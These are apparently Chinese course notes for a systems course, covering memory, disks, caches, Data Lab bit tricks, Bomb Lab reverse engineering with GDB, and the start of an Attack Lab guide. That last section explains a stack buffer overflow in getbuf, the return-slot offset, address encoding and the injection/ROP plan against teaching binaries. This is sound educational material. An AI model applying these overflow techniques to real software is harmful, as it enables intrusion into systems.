行号与列号可以复用同一组地址引脚，分两次发送。四行、四列各需两位编号，因此示例中共享的地址输入为两位；不能因为只有两根地址线就认定芯片只含四个可选 supercell。行缓冲还使同一已打开行中的后续列访问可以复用已取得的内容。

多个芯片怎样组成内存模块

课件用八个 $8\mathrm{M}\times8$ 芯片组成模块。访问同一个行列位置时，每个芯片提供八位，八个芯片并行拼成一个 $64$ 位数据：芯片 $0$ 提供位 $0\sim7$，芯片 $1$ 提供位 $8\sim15$，直到芯片 $7$ 提供位 $56\sim63$。

若这里的 $8\mathrm{M}$ 表示 $8\times2^{20}$ 个位置，则：

$$C_{\mathrm{chip}}=(8\times2^{20})\times8\text{ bit}=8\text{ MiB}$$ $$C_{\mathrm{module}}=8\times8\text{ MiB}=64\text{ MiB}$$

多个芯片共同提供一个字的不同位段，不是每次只从某一个芯片取得完整的六十四位字。 容量、单芯片数据宽度与模块总数据宽度要分别计算。

ROM 与非易失性存储

非易失性存储在断电后仍能保留内容。课件介绍 ROM 及可编程、可擦除的不同形式：

类型	基本特点
ROM	内容在制造时确定。
PROM	可以编程一次。
EPROM	可用紫外线整体擦除后重新编程。
EEPROM	可以电擦除并重新编程。
Flash	支持按块擦除，常用于 SSD 和固件存储。

“非易失”与“只读”是不同属性；Flash 能反复写入，但擦写次数有限。固件保存程序，SSD 保存文件等数据，二者都可利用断电保持能力。

磁盘结构与容量

名称	含义
盘片 platter	旋转的圆形介质，一个盘片可有两个存储表面。
磁道 track	同一表面上的同心圆环。
扇区 sector	磁道上的数据分段。
柱面 cylinder	不同表面上同一半径的磁道集合。
读写头与磁臂	磁臂径向移动以定位磁道，盘片旋转使扇区经过磁头。

磁道可分为不同记录区，外圈通常能放更多扇区，因此计算总容量时可使用平均每磁道扇区数。按课件给定参数：

$$\begin{aligned} C={}&(\text{每扇区字节数})\times(\text{平均每磁道扇区数})\\ &\times(\text{每表面磁道数})\times(\text{每盘片表面数})\times(\text{盘片数}) \end{aligned}$$

例如每扇区 $512$ byte、每磁道平均 $300$ 扇区、每表面 $20000$ 磁道、每盘片两个表面、共五个盘片：

$$C=512\times300\times20000\times2\times5 =30\,720\,000\,000\text{ byte}=30.72\text{ GB}$$

容量单位要区分：$1\text{ GB}=10^9\text{ byte}$，$1\text{ GiB}=2^{30}\text{ byte}$，因此同一容量约为 $28.61$ GiB。把扇区、磁道、表面、盘片的数量逐级相乘，可避免遗漏表面数或重复乘盘片数。

磁盘访问时间：寻道、旋转等待、传输

一次读取目标扇区的平均时间近似为：

$$T_{\mathrm{access}}=T_{\mathrm{seek}}+T_{\mathrm{rotation}}+T_{\mathrm{transfer}}$$

分量	在等待什么
寻道时间	磁臂移动，将磁头定位到目标磁道／柱面。
旋转延迟	目标扇区旋转到磁头下方。
传输时间	目标扇区的数据依次经过磁头并被读出。

设转速为 R RPM，即每分钟 R 圈，一圈有 S 个扇区，忽略其他开销：

$$T_{\mathrm{rev}}=\frac{60}{R}\text{ s},\qquad T_{\mathrm{rotation,avg}}=\frac12\frac{60}{R}\text{ s}$$ $$T_{\mathrm{transfer,sector}}=\frac{60}{RS}\text{ s}$$

平均旋转等待半圈，是基于目标位置与当前角度无特别关联的模型；它不是完整一圈。课件例子为 $R=7200$、$S=400$、平均寻道 $9$ ms，按统一单位计算：

$$T_{\mathrm{rotation,avg}}=\frac{30}{7200}\times1000 \approx4.1667\text{ ms}$$ $$T_{\mathrm{transfer,sector}}=\frac{60}{7200\times400}\times1000 \approx0.02083\text{ ms}$$ $$T_{\mathrm{access}}\approx9+4.1667+0.02083=13.1875\text{ ms}$$

寻道和旋转等待远大于本例单个扇区的传输时间。 连续读取相邻数据可以分摊定位成本，并非后续字节真的不花时间。若比较本例访问时间与课件的 $4$ ns SRAM、$60$ ns DRAM 示例，先用 $1\text{ ms}=10^6\text{ ns}$ 换算，得到约 $3.30\times10^6$ 倍与 $2.20\times10^5$ 倍。

控制器、DMA 与中断

磁盘读取由 CPU、控制器与主存协作完成：

1. CPU 向控制器发送读命令、逻辑块号和目的内存地址。
2. 控制器完成磁盘操作，通过 DMA（Direct Memory Access，直接内存访问）把数据传入主存。
3. 传输完成后，控制器以中断通知 CPU。

DMA 的数据传输不需要 CPU 逐字节搬运，CPU 仍负责发起请求与处理完成事件。 数据进入主存和最终被程序读入寄存器是不同环节。

SSD：页读写与块擦除

SSD 使用非易失的 Flash 存储，没有磁臂寻道与盘片旋转。Flash 的物理读写通常以页（page）为单位，擦除以更大的块（block）为单位，一个块包含多个页。

操作	关键限制
读取	从页中取得数据。
编程／写入	需要可编程的已擦除位置，不能像 DRAM 一样任意原地覆盖。
擦除	按块进行，影响整个块内的页。
更新与回收	可先写到新位置，使旧页失效，再复制有效页、回收旧块。

FTL（Flash Translation Layer，闪存转换层）维护逻辑块与物理位置之间的映射，管理这些搬移与擦除。磨损均衡把擦写分散到不同物理块，降低少数热点块过早损坏的风险；具体寿命取决于器件，不能把课件的示例次数当作所有 Flash 的固定上限。

SSD 的随机访问通常比机械盘快，但顺序与随机访问仍可能有明显性能差异，随机小写入还可能引起数据搬移和额外写入。没有机械等待，不等于和主存一样快。

时间局部性与空间局部性

局部性	含义	例子
时间局部性	最近使用的内容，近期可能再次使用。	循环反复使用 sum、重复执行同一段循环体。
空间局部性	刚使用某个地址，近期可能访问其附近地址。	顺序遍历数组、顺序执行相邻指令。

sum = 0;
for (i = 0; i < n; ++i)
    sum += a[i];

连续读取 a 的元素体现空间局部性，反复更新 sum 体现时间复用；机器实现中 sum 也可能一直保存在寄存器。局部性既适用于数据，也适用于指令：顺序取指具有空间局部性，重复循环具有时间局部性。

CPU、主存与外部存储的速度差异，意味着减少慢层访问往往十分重要。课件历史趋势图用于说明这类差距；多核增加吞吐能力，也不意味着单次 DRAM 访问延迟按核心数等比例缩短。

数组遍历顺序与访问步长

C 的多维数组按行优先存储。对 int a[M][N]，元素地址为：

$$\operatorname{addr}(a[i][j])=B+4(iN+j)$$

内层变化的下标	相邻访问的字节步长	对 a 的空间局部性
j，每行依次遍历	$4$	相邻元素连续，通常较好。
i，每列依次遍历	$4N$	跨行访问，通常较差。

/* 按行：先扫完当前行 */
for (int i = 0; i < M; ++i)
    for (int j = 0; j < N; ++j)
        sum += a[i][j];

/* 按列：相邻访问跨过一行 */
for (int j = 0; j < N; ++j)
    for (int i = 0; i < M; ++i)
        sum += a[i][j];

按列访问不等于每次必然 miss；实际效果还取决于容量、块大小、映射及相邻列能否复用仍留在缓存中的数据。判断代码局部性时，应先算地址差，而不是只看循环变量的名字。

对于 int a[M][N][N]，若表达式写成 a[k][i][j]，连续遍历应让最右下标 j 在最内层，同时按各维度设置边界：

for (int k = 0; k < M; ++k)
    for (int i = 0; i < N; ++i)
        for (int j = 0; j < N; ++j)
            sum += a[k][i][j];

这里 j 加一让地址增加一个 int 的宽度；i 加一跨过 N 个 int，k 加一跨过 $N^2$ 个 int。

存储器层次结构

课件的典型层次从快到慢排列为：

层次	常见实现与保存内容
CPU 寄存器	保存当前运算使用的数值。
L1、L2、L3 cache	SRAM，缓存来自更低层的数据块。
主存	DRAM，保存运行中的程序和数据。
本地外部存储	SSD、机械盘，保存文件等持久内容。
远程存储	网络服务器等提供的内容。

靠近 CPU 的层通常更快、更小、每字节成本更高；向下容量更大、访问更慢、每字节更便宜。上层缓存下层的部分内容，利用局部性让常用访问尽可能留在快层。 这不能让每次访问都具有寄存器速度，但能降低平均成本。

缓存块、命中与不命中

缓存通常按块（block/cache line）复制数据。CPU 请求一个数时，可能同时把它附近的一整块数据取到上层；这是空间局部性能发挥作用的基础。

情况／策略	含义
Hit，命中	所需块已在当前缓存中，可由它提供数据。
Miss，不命中	当前缓存没有所需块，需要向下层取得。
Placement，放置策略	决定一个下层块允许放到哪些缓存位置。
Replacement，替换策略	需要腾位置时，决定淘汰哪个已有块。

一次 movq 读取八字节，不表示缓存只从下层搬八字节。 指令访问宽度、缓存块大小与 DRAM 模块数据宽度是不同概念。

例如假设缓存块为 $64$ byte，int 为 $4$ byte，a 的首地址按块对齐，初始块不在缓存且期间没有替换：读取 a[0] 会装入包含 a[0]～a[15] 的整块，随后顺序读完这十六项可产生一次 miss、十五次 hit。

缓存也不限于 CPU 数据缓存：TLB 缓存地址转换信息，操作系统可缓存文件内容，浏览器可缓存网页资源。它们缓存的对象、粒度与管理者不同，但都利用重复使用已有结果的机会。

三类缓存不命中

类型	原因	典型情形
冷不命中，compulsory/cold	初次访问的块尚未装入缓存。	空缓存第一次请求某块。
冲突不命中，conflict	放置位置受限，多个活跃块争用同一位置。	总容量足够，但需要的块反复互相挤掉。
容量不命中，capacity	活跃工作集超过可容纳的块数。	即使允许任意放置，仍不能同时保留全部需要的块。

课件的四位置示例规定块 i 只能放在 $i\bmod4$ 的位置。块 $0$ 与块 $8$ 都映射到位置 $0$，交替访问时：

请求	结果	位置 0 的内容
$0$	冷不命中	装入块 $0$。
$8$	冷不命中	块 $8$ 替换块 $0$。
$0$	冲突不命中	块 $0$ 替换块 $8$。
$8$	冲突不命中	再次装入块 $8$。

只有两个活跃块，却仍不能利用其余空位置，说明问题出在映射限制。作为容量对照，若缓存只能容纳四块，而程序循环访问五个不同块，即使用全相联放置与 LRU，也可能持续淘汰稍后要用的块。

工作集是某段时间内程序活跃使用的数据块集合，不一定等于程序全部数据大小。冷不命中按块讨论：首次访问某个元素时，它可能已随相邻元素所在块一起装入，因此不一定 miss。

命中率与平均访问时间

命中率与不命中率分别为：

$$h=\frac{N_{\mathrm{hit}}}{N_{\mathrm{access}}},\qquad m=\frac{N_{\mathrm{miss}}}{N_{\mathrm{access}}}=1-h$$

常用的单级定量模型为：

$$\mathrm{AMAT}=T_{\mathrm{hit}}+m\times P_{\mathrm{miss}}$$

其中 $P_{\mathrm{miss}}$ 是一次 miss 造成的额外代价，不能与已包含的命中检查时间重复计算。假设命中耗时 $1$ ns，miss 额外代价为 $50$ ns：不命中率 $2\%$ 时平均为 $2$ ns，不命中率 $10\%$ 时平均为 $6$ ns。少量慢访问也可能显著拉高平均时间，这就是改善局部性的价值。

本讲计算与概念提醒

问题	处理方法
计算 DRAM 容量	先乘位置数与每位置位数，bit 转 byte 再除八。
计算磁盘容量	逐级乘扇区、磁道、表面和盘片；明确 GB 与 GiB。
计算旋转等待	RPM 先换算一圈时间，平均等待再除二。
比较访问时间倍数	先统一 ns、微秒、ms 等单位。
判断多维数组局部性	写出地址公式，找内层循环每次访问的地址差。
区分三类 miss	看首次装入、映射争用还是工作集超容量。
判断缓存作用	看复用的是哪些对象，以及是否能在再次使用前保留。

Labs

Data Lab：把要求写成位级恒等式

先看每题的编码限制

整数题通常只允许 int、常量 $0\sim255$ 和 ! ~ & ^ | + << >> 中指定的运算符，不能用条件、循环、函数调用和类型转换。浮点题允许 int/unsigned、较大整数常量和条件/循环，但仍不能真正使用浮点类型、浮点运算或类型转换。每题还限制操作数数量，以 bits.c 的题目说明为准。

常用技巧：位模式与掩码

目的	常用表达式	为什么成立
补码取负	~x + 1	与 x 相加的位级结果为 $0$。
生成全零／全一	0、~0	全一位串按补码解释为 $-1$。
得到符号掩码	x >> 31	非负数得 $0$，负数得全 $1$。
非零归一化	!!x	零得 $0$，任意非零值得 $1$。
将布尔值变成掩码	~b + 1，其中 b 为 $0/1$	$b=0$ 得全零，$b=1$ 得全一。
无分支二选一	(mask & a) | (~mask & b)	mask 为全一时选 a，为全零时选 b。
判断相等	!(x ^ y)	相同位串异或为零。
留最低位的 $1$	x & (~x + 1)	取负使最低置位右侧不变、左侧翻转，按位与后只留下该位。
构造低 $n$ 位全一	(1 << n) + ~0	即位模式 $2^n-1$；移位量需小于 $32$。
取第 $n$ 个字节	(x >> (n << 3)) & 0xFF	右移 $8n$ 位对齐，再保留低 $8$ 位。

全零／全一的作用可以直接记住：x & 0 清零，x & ~0 保持，x \| 0 保持，x \| ~0 全置一，x ^ 0 保持，x ^ ~0 取反。条件值 $0/1$ 与选择用的全零／全一掩码要分清。 仅有最低位为 $1$ 的 mask=1 无法保留一个完整整数。

需要大掩码时，用小常量复制位模式：

int mask = 0x55 | (0x55 << 8);
mask = mask | (mask << 16);   /* 0x55555555 */

这里代码中的常量都不超过 0xFF，却构造出了反复出现的 01 模式。0x33、0x0F 也能用同样方式生成重复掩码。bitXor 若只允许 ~ 和 &，可用德摩根律：~(x & y) & ~(~x & ~y)，同时排除两位都为 $1$ 和两位都为 $0$ 的情况。

用符号掩码统一正负情况

sign(x) 可写 (x >> 31) | !!x：负数的全一掩码与 $1$ 做或仍为 $-1$；零得到 $0$；正数得到 $1$。

小班课的 absVal 写法是：

int mask = x >> 31;
return (x + mask) ^ mask;

非负数的 mask=0，结果保持 x；负数的 mask=-1，结果为 $\operatorname{NOT}(x-1)=-x$。例如 $x=-5$，先得到 $-6$，逐位取反后为 $5$。本题输入范围排除了 TMin。

算术右移向负无穷取整，整数除法要求向零取整，因此 divpwr2 对负数加偏置 $2^n-1$：

int bias = (x >> 31) & ((1 << n) + ~0);
return (x + bias) >> n;

例如 $-7/4$ 应截断为 $-1$，而直接算术右移两位会得 $-2$；先加 $3$ 得 $-4$，再右移得到 $-1$。正数的偏置被符号掩码清零。

逻辑右移：清掉复制进来的符号位

int top = 1 << 31;
int mask = ~((top >> n) << 1);
return (x >> n) & mask;

top >> n 形成 $n+1$ 个前导 $1$，左移一次后留下最高 $n$ 位的 $1$，取反得到高 $n$ 位为零的掩码。例如 $n=4$ 时，掩码是 0x0FFFFFFF，把算术右移结果中的高四位清掉。$n=0$ 时最终掩码为全一，返回原位串；$n=31$ 时掩码只留下最低位，得到原最高位的值。

溢出判断与饱和运算

addOK 判断加法是否不溢出。加法只在同号相加且结果变号时溢出。令 sum=x+y，x ^ sum 和 y ^ sum 的符号位都为 $1$，表示结果同时偏离两个加数的符号：

int sum = x + y;
return !(((x ^ sum) & (y ^ sum)) >> 31);

satSub 的条件是“x/y 异号，并且差与 x 异号”。得到溢出掩码后，复用二选一技巧：

int diff = x + ~y + 1;
int overflow = ((x ^ y) & (x ^ diff)) >> 31;
int limit = ~(1 << 31) ^ (x >> 31);
return (overflow & limit) | (~overflow & diff);

两种方向的溢出都使 overflow=-1；方向由 x 的符号区分：x 非负时 limit=TMax，x 为负时 limit=TMin。未溢出时保留 diff，溢出时保留 limit。

并行归约：格雷码与位计数

格雷码由 $g=b\oplus(b\gg1)$ 编码。解码时，二进制的某一位等于从最高位到该位置的格雷码位连续异或。可以逐级合并而不用循环：

x = x ^ (x >> 16);
x = x ^ (x >> 8);
x = x ^ (x >> 4);
x = x ^ (x >> 2);
return x ^ (x >> 1);

以四位格雷码 0110 为例，前面的较大移位不改变值；异或 x >> 2 得 0111，再异或当前值的 x >> 1 得 0100，即解码为 $4$。这一技巧本质上是在各位同时计算前缀异或。

bitCount 把每一位先视为 $0/1$ 计数，逐级合并成两位、四位、八位计数。掩码分别选出每组的低半部分，再把高半部分移过来相加：

int mask1 = 0x55 | (0x55 << 8);
int mask2 = 0x33 | (0x33 << 8);
int mask4 = 0x0F | (0x0F << 8);
mask1 = mask1 | (mask1 << 16);
mask2 = mask2 | (mask2 << 16);
mask4 = mask4 | (mask4 << 16);
x = (x & mask1) + ((x >> 1) & mask1);
x = (x & mask2) + ((x >> 2) & mask2);
x = (x + (x >> 4)) & mask4;
x = x + (x >> 8);
x = x + (x >> 16);
return x & 0x3F;

两位组的计数最多 $2$，四位组最多 $4$，每字节最多 $8$，都能留在自己的分组里。例如 11010110 的四个两位组计数为 $2,1,1,1$，合成四位计数 $3,2$，最后为 $5$。

第三步的字节计数最多 $8$，低四位足以容纳，所以可以先加再与 mask4，省掉一次与操作。这个掩码仍需清除高半字节的旧计数。后两步只要让最低字节累积总和，最多 $32$，最后取低六位即可。共同思路是每次扩大计数范围，同时确认计数不会越过分组边界。

浮点题：先拆字段，再按类别处理

参数 uf 是浮点数的位表示，不能按普通整数乘除来计算浮点值。先提取字段：

unsigned sign = uf >> 31;
unsigned exp = (uf >> 23) & 0xFF;
unsigned frac = uf & 0x7FFFFF;
unsigned magnitude = uf & 0x7FFFFFFF;

exp	frac	类别	处理线索
$0$	$0$	正零或负零	符号不同，数值比较相等。
$0$	非零	非规格化数	没有隐含最高位 $1$。
$1\sim254$	任意	规格化数	$E=exp-127$，有效数字为 1.frac。
$255$	$0$	正无穷或负无穷	根据题目定义处理。
$255$	非零	NaN	比较题返回假；本次乘二题要求保留原位串。

清除符号后的 magnitude 同时便于判特殊值：大于 0x7F800000 是 NaN，等于 $0$ 是任意符号的零。每道题再根据自己的操作决定分支结果。

float_twice 的四种情况：

输入类别	操作
$\mathrm{exp}=255$	原样返回，涵盖 NaN 与无穷。
$\mathrm{exp}=0$	小数域左移一位，保留符号；最高小数位可自然进入指数域。
$1\le exp\le253$	指数加 $1$，等价于把整个编码加 0x00800000u。
$\mathrm{exp}=254$	返回同号无穷，并清零小数域。

float_f2i 根据真实指数移动有效数字：$E<0$ 返回 $0$；恢复隐含位 frac | 0x800000 后，$E\le23$ 右移 $23-E$ 位，$E>23$ 左移 $E-23$ 位，最后加上符号。$E>30$ 时返回题目规定的 0x80000000u；恰好 $-2^{31}$ 的合法结果也具有同一位模式。

float_negpwr2 直接构造 $2^{-x}$：$x\le-128$ 返回正无穷；$-127\le x\le126$ 生成阶码 $127-x$、小数为零的规格化数；$127\le x\le149$ 生成 1u << (149-x) 的非规格化编码；$x\ge150$ 返回零。先判断区间再计算指数，避免直接对整个输入范围取负。

float_greater 按小班课的四步处理：先排除 NaN；再处理两种符号的零；异号时正数更大；同号时比较位模式，正数方向相同，负数方向相反。例如负数编码更大，可能表示绝对值更大、数值更小。

做题与验证顺序

先写数学关系或目标位模式，再替换成合法操作，最后数运算符。验证时选零、正负数、最高／最低位、题目允许的移位边界，以及浮点零、非规格化边界、最大有限指数、无穷和 NaN。用 dlc 检查运算符与数量，btest 对照结果，整数题可用 BDD 工具验证；driver.pl 汇总这些检查。正确结果、合法表达式和操作数限制都要满足。

Bomb Lab：把汇编恢复成约束

Bomb Lab 的主程序依次读取一行输入，调用 phase_1 到 phase_6，每关通过后调用 phase_defused。错误路径调用 explode_bomb。解题时还原每关的输入格式、数据变换和成功条件，再求满足这些条件的输入。

文件与 Hints 中的静态分析工具

文件或工具	用途
README	标识炸弹编号和所属账号。
bomb	原始 ELF 可执行文件，实际运行和调试它。
bomb.c	阅读主流程；关卡完整实现未在此文件中提供。
bomb.asm	objdump -d 导出的反汇编文本，用于阅读和标注。
psol.txt	每行一个关卡输入；逐关解出后保存答案。
objdump -t	找函数、全局对象和符号地址。
objdump -d	读指令，识别运算、访存、分支和调用。
strings	找可打印常量，再通过代码引用确定其用途。

Hints 推荐把静态分析与调试结合：先从函数边界和 explode_bomb 的调用点找检查条件，再观察寄存器、常量表和栈上输入。strings 中的某个文本不一定就是当前关答案；同一关也可能有多组满足条件的输入。运行炸弹时不使用暴力猜测，调试按正常主流程进入各关。

六关对应的知识点

关卡	本次实验的结构	读汇编时抓住什么
Phase 1	字符串完全匹配	参数指针、比较函数返回值、test 与 jne。
Phase 2	六个整数的递推	数组起点、元素宽度、循环下标、相邻项加载与 lea 运算。
Phase 3	编号、字符、整数匹配	sscanf 格式、解析数量、编号范围、相对偏移跳转表。
Phase 4	递归二分的路径求和	递归参数、基例、每层中点与返回后的累加。
Phase 5	字符低四位查表求和	字符编码、& 0xf、4 字节表项与目标总和。
Phase 6	按编号重排链表并检查降序	不重复的编号、沿 next 选节点、重接指针、相邻值比较。

第二关把寄存器重新标成数组元素后，lea (%rdx,%rcx,2),%edx 可读成 a[i-1]+2*a[i-2]。这里 lea 只运算，不读取对应地址的内存。先确认初始项，再沿循环确定递推式，比凭数列外观猜规律准确。

第四关的二分递归在每次返回时加上当前中点，可以还原为：

int func4(int target, int low, int high) {
    int mid = low + (high - low) / 2;
    if (target < mid)
        return mid + func4(target, low, mid - 1);
    if (target > mid)
        return mid + func4(target, mid + 1, high);
    return mid;
}

返回的是搜索路径上的中点之和。汇编可能用符号位修正与 sar 实现有符号除以 2；在关卡保证的合法区间内，中点式如上。分析递归要同时追踪参数变化和返回值组合，不能只认出“二分查找”就结束。

第五关把字符编码变成表下标：index=input[i]&0xf。例如 '1' 编码为 0x31，低四位为 1，再取 table[1]；字符、编码、下标和表中的数值是不同层次。长度必须为六，六次查表结果累加后与目标值比较；本次实验要求输入只使用数字和字母。

第六关先检查输入是 1～6 的排列，再按原链表位置选节点，按输入顺序重接 next，最后要求当前 value 大于等于下一 value。链表地址不一定连续，不能用节点地址大小替代 value 排序；本次版本直接使用输入编号，没有额外的 7-x 变换。

GDB 的断点与单步

在 xLab 的实验目录启动调试器：

gdb ./bomb

下面的命令在 (gdb) 提示符后输入：

break explode_bomb
break phase_1
run psol.txt
disassemble phase_1
display/i $pc

断点只让程序在到达指定位置时暂停，不跳过此前的执行。run psol.txt 从主程序正常启动，把文件名作为参数传入；display/i $pc 在每次停下时显示下一条指令。GDB 用 $rax/$rsp/$pc 引用寄存器，AT&T 汇编中的寄存器写成 %rax/%rsp/%rip。

命令	含义
run / r	从头启动程序，使用已设置的参数。
break / b	在函数名或指定指令地址设置断点。
continue / c	继续正常执行到下一断点、信号或结束。
ni	执行下一条机器指令，函数调用通常运行到返回。
si	执行一条机器指令，遇到调用进入函数。
finish	正常执行到当前函数返回。
disassemble / disas	显示指定函数的汇编。
info registers	查看寄存器状态。
bt	查看调用栈，判断从哪个关卡到达当前位置。
kill	结束被调试程序，保留 GDB 会话。
quit / q	退出 GDB。

ni/si 按机器指令单步；next/step 主要按源码行单步。只关心 read_six_numbers 的结果时可用 ni 跨过调用；分析 func4 的递归实现时用 si 进入。finish 仍会执行函数体，不是强制跳过函数。

若停在 explode_bomb 入口，先用 bt 查看来源，再结束本次运行；继续执行会进入爆炸函数。实验要求不使用 jump 直接跳进关卡，正常执行中的初始化和关卡状态也属于程序流程。

GDB 的数值、地址与内存

p 计算并显示表达式的值，x 显示某个地址处的内存。p/x $rsp 看栈顶地址；x/1gx $rsp 看这个地址处保存的 8 字节值。指针寄存器里的地址与所指内存内容要分清。

x/数量格式大小 地址 中，数量是读取多少项，格式决定如何显示，每项大小决定一次读几个字节：

选项	含义
d / u / x	有符号十进制／无符号十进制／十六进制。
c / s / i	字符／以零结尾的字符串／机器指令。
b / h / w / g	每项 1／2／4／8 字节。

GDB 的 w 表示 4 字节，与 x86 指令后缀 w 表示 2 字节的命名不同。x 会记住一些显示默认值，连续换格式时可显式写全单位。

命令	用途
p/d $eax	按十进制显示 eax。
p/x $rax	按十六进制显示 rax。
x/s $rdi	查看第一个指针参数所指字符串。
x/6dw $rsp	从 rsp 起读取六个 4 字节整数。
x/8gx $rsp	从 rsp 起读取八个 8 字节十六进制值。
x/16xb $rdi	从 rdi 起读取十六个字节。
x/5i $pc	查看当前执行位置开始的五条指令。

查看输入时，先确认数据已经写入以及数组起点。本次第二关在 read_six_numbers 返回后用 x/6dw $rsp；第六关的输入数组从 %rsp+0x30 开始，应在读取返回后用 x/6dw $rsp+0x30。分析 sscanf 时，调用前用 x/s $rsi 看格式串，调用后看 %eax 的解析数量和相应栈位置。

GDB 窗口、配置文件与断点命令

layout asm
layout regs

TUI 在终端中显示汇编和寄存器窗口。先按 Ctrl+X 再按 A 可切换普通界面和 TUI，Ctrl+L 可重绘画面。

常用命令可以写入 .gdbinit，由 GDB 按配置自动加载；也可保存为 bomb.gdb：

set args psol.txt
break explode_bomb
break phase_1
break phase_2
break phase_3
break phase_4
break phase_5
break phase_6

在 Shell 中执行 gdb -x bomb.gdb ./bomb 显式加载，进入后用 run 启动。set args 设置被调试程序的命令行参数，不是给 GDB 本身设置参数。

断点可附带观察命令；不写编号的 commands 作用于最近设置的断点：

break func4
commands
    p/d $edi
    p/d $esi
    p/d $edx
end

每次进入 func4 都显示 target、low、high，方便追踪区间变化。命令列表用 end 结束。info breakpoints 查看编号，disable 2 临时禁用第 2 个断点，enable 2 恢复，delete 2 删除；编号以当前会话显示为准。

Linux 权限、路径与输入文件

chmod +x bomb
./bomb psol.txt

chmod（change mode）修改权限，+x 添加执行权限，让 Linux 允许把 bomb 当程序运行；它不修改机器指令内容，也不启动程序。chmod u+x bomb 明确给所有者增加执行权限。权限显示可用 ls -l bomb 查看：

-rwxr-xr-x

首位 - 表示普通文件，后面三组分别是所有者、同组用户、其他用户的权限；r/w/x 是读／写／执行。符号模式用 u/g/o/a 选对象，用 +/-/= 增加／移除／设置权限。数字模式中 r=4,w=2,x=1，每组相加；chmod 755 bomb 设置为 rwxr-xr-x，会重新设置这些权限位。

./ 指当前目录，../ 指上一级目录，~/ 指当前用户的主目录，/home/... 是绝对路径。./bomb psol.txt 启动当前目录的 bomb，将文件名作为第一个参数；C 的 main 收到 argc=2，argv[0] 是程序名，argv[1] 是 psol.txt。相对路径按当前工作目录解释，pwd 可查看当前目录，cd 切换目录。

程序逐行读取答案文件，忽略空行；读完文件后若还需要输入，就转到标准输入。答案文件每行只写关卡输入，不添加姓名或学号。解析文件的功能由 bomb 的 fopen/read_line 实现，./bomb psol.txt 不等于 Shell 的 < psol.txt 输入重定向。

文件传输与成绩记录

ssh 用于登录远程终端，scp 用于复制文件。将本地原始 bomb、bomb.c、README 和答案文件复制到 xLab 后，在实验目录运行原始 bomb；SSH 主机、用户名和端口取自节点页。

ssh -p PORT USER@HOST
scp -P PORT bomb bomb.c README psol.txt USER@HOST:~/ics-2026/bomb230/

两条命令中的 PORT、USER、HOST 要替换为实际连接信息。SSH 的端口选项是小写 -p，SCP 的端口选项是大写 -P；SCP 左边为源，右边为目的，USER@HOST: 表示远程路径。

实验要求在 xLab 容器中运行。./bomb psol.txt 会真正执行各关并回传进度，成功与爆炸记录由程序发送到 Autolab；不需要另交修改后的 bomb.c，也没有额外的 Autolab 文件上传命令。成绩在 Bomblab 的 View scoreboard 中查看。前四关各 15 分，后两关各 20 分；每次爆炸扣 0.5 分，最多扣 20 分。

隐藏关与有限状态机

实验说明第 7 页的 Secret phase 提供 alohomora、abracadabra 两个提示，并说明隐藏关不计分。主程序第六关之后调用 phase_defused，其内部检查第二、第四行的附加触发词，再决定是否调用 secret_phase。完整逻辑在 bomb 中，不能只读 bomb.c 的 main 找它。

psol.txt 包含六个计分关卡输入；psol-secret.txt 还包含触发词和隐藏关的额外输入，运行方式为 ./bomb psol-secret.txt。隐藏关把 0、1 字符看成状态转移，要求同一输入序列使所有初始状态最终到达同一状态。可以把当前可能状态记录为集合，每读一个字符将集合中的状态都沿表转移；最后集合只剩一个元素，就是同步序列。

工具参考：GDB 内存查看、GDB 单步执行、GDB 断点命令、GNU chmod。

Attack Lab：改写返回地址与 ROP

Attack Lab 的六个阶段围绕同一个缺陷展开：getbuf 把输入读进固定大小的栈缓冲区，却不检查长度。前三个阶段在可执行栈上直接注入机器码；后三个阶段栈不可执行，改用已有代码片段拼成 ROP 链；最后一阶段还要绕过栈保护。

三个程序与六个阶段

阶段	程序	成功条件	采用的手段
1	ctarget	进入 touch1	覆盖返回地址
2	ctarget	touch2(cookie)	注入代码，写 %rdi
3	ctarget	touch3("1e592c23")	注入代码并把字符串指针写入 %rdi
4	rtarget	touch2(cookie)	ROP：pop 与 movl
5	rtarget	touch3("1e592c23")	ROP：用 add_xy 计算字符串地址
6	starget	touch3("1e592c23")	绕过 canary，再执行 ROP

ctarget 的栈可执行，允许把机器码放在输入里再跳过去。rtarget 和 starget 的栈不可执行，且栈地址随机化，因此只能把已有指令的地址串成链。starget 另外插入了 canary 检查。

所有输入文件都是十六进制字节文本，由 hex2raw 转成二进制后喂给程序：

./hex2raw < ctarget.l2.txt | ./ctarget -q

-q 关闭向 Autolab 提交。在实验机器上去掉它就会真正提交成绩；本地调试始终保留 -q。cookie 由 cookie.txt 给出，本次 target 149 的值是 0x1e592c23，字符串形式为 "1e592c23"。

hex2raw 把每两个十六进制数字转换成一个字节，/* ... */ 是注释。地址按小端序写入：0x401c27 写成 27 1c 40 00 00 00 00 00。输入中不能出现字节 0x0a，因为 Gets 把它当作换行并结束读取；地址和偏移都要检查有没有恰好等于 0x0a 的字节。Gets 只认换行和 EOF，00 不会被当作结束符，因此地址中的零字节可以安全保留。hex2raw 会在末尾补一个换行，它只负责结束读取，不会进入缓冲区。

getbuf 的栈帧与返回槽

ctarget 和 rtarget 的 getbuf 相同：

401b9b <getbuf>:
  401b9f: 48 83 ec 38          sub    $0x38,%rsp
  401ba3: 48 89 e7             mov    %rsp,%rdi
  401ba6: e8 57 03 00 00       call   Gets
  401bab: b8 01 00 00 00       mov    $0x1,%eax
  401bb0: 48 83 c4 38          add    $0x38,%rsp
  401bb4: c3                   ret

sub $0x38,%rsp 之后，%rsp 就是缓冲区起点 buf；Gets 从标准输入读一整行，不检查长度。函数返回前 add $0x38,%rsp 让 %rsp 回到返回地址槽，ret 从 buf+0x38 取地址。因此：

偏移	内容
buf+0x00 到 buf+0x37	缓冲区，共 56 字节
buf+0x38	getbuf 的返回地址
buf+0x40 起	调用者的栈帧

写满 56 字节后再写 8 字节，就能决定 ret 的去向。

两个程序的栈起点不同。ctarget 通过 stable_launch 在固定地址 0x55586000 处 mmap 一块 RWX 内存，把 %rsp 设成 0x55586000+0xFFFF8，再调用 launch；因此它的栈地址在每次运行中都相同，本 target 的 buf 是 0x55674558，返回槽是 0x55674590。rtarget 和 starget 的 main 直接调用 launch，用的是内核分配的进程栈，每次运行地址都不同，所以不能把绝对栈地址硬编码进链里。它们的 buf 对齐也不同：ctarget 的 buf % 16 == 8，rtarget 和 starget 的 buf % 16 == 0。

函数入口的对齐

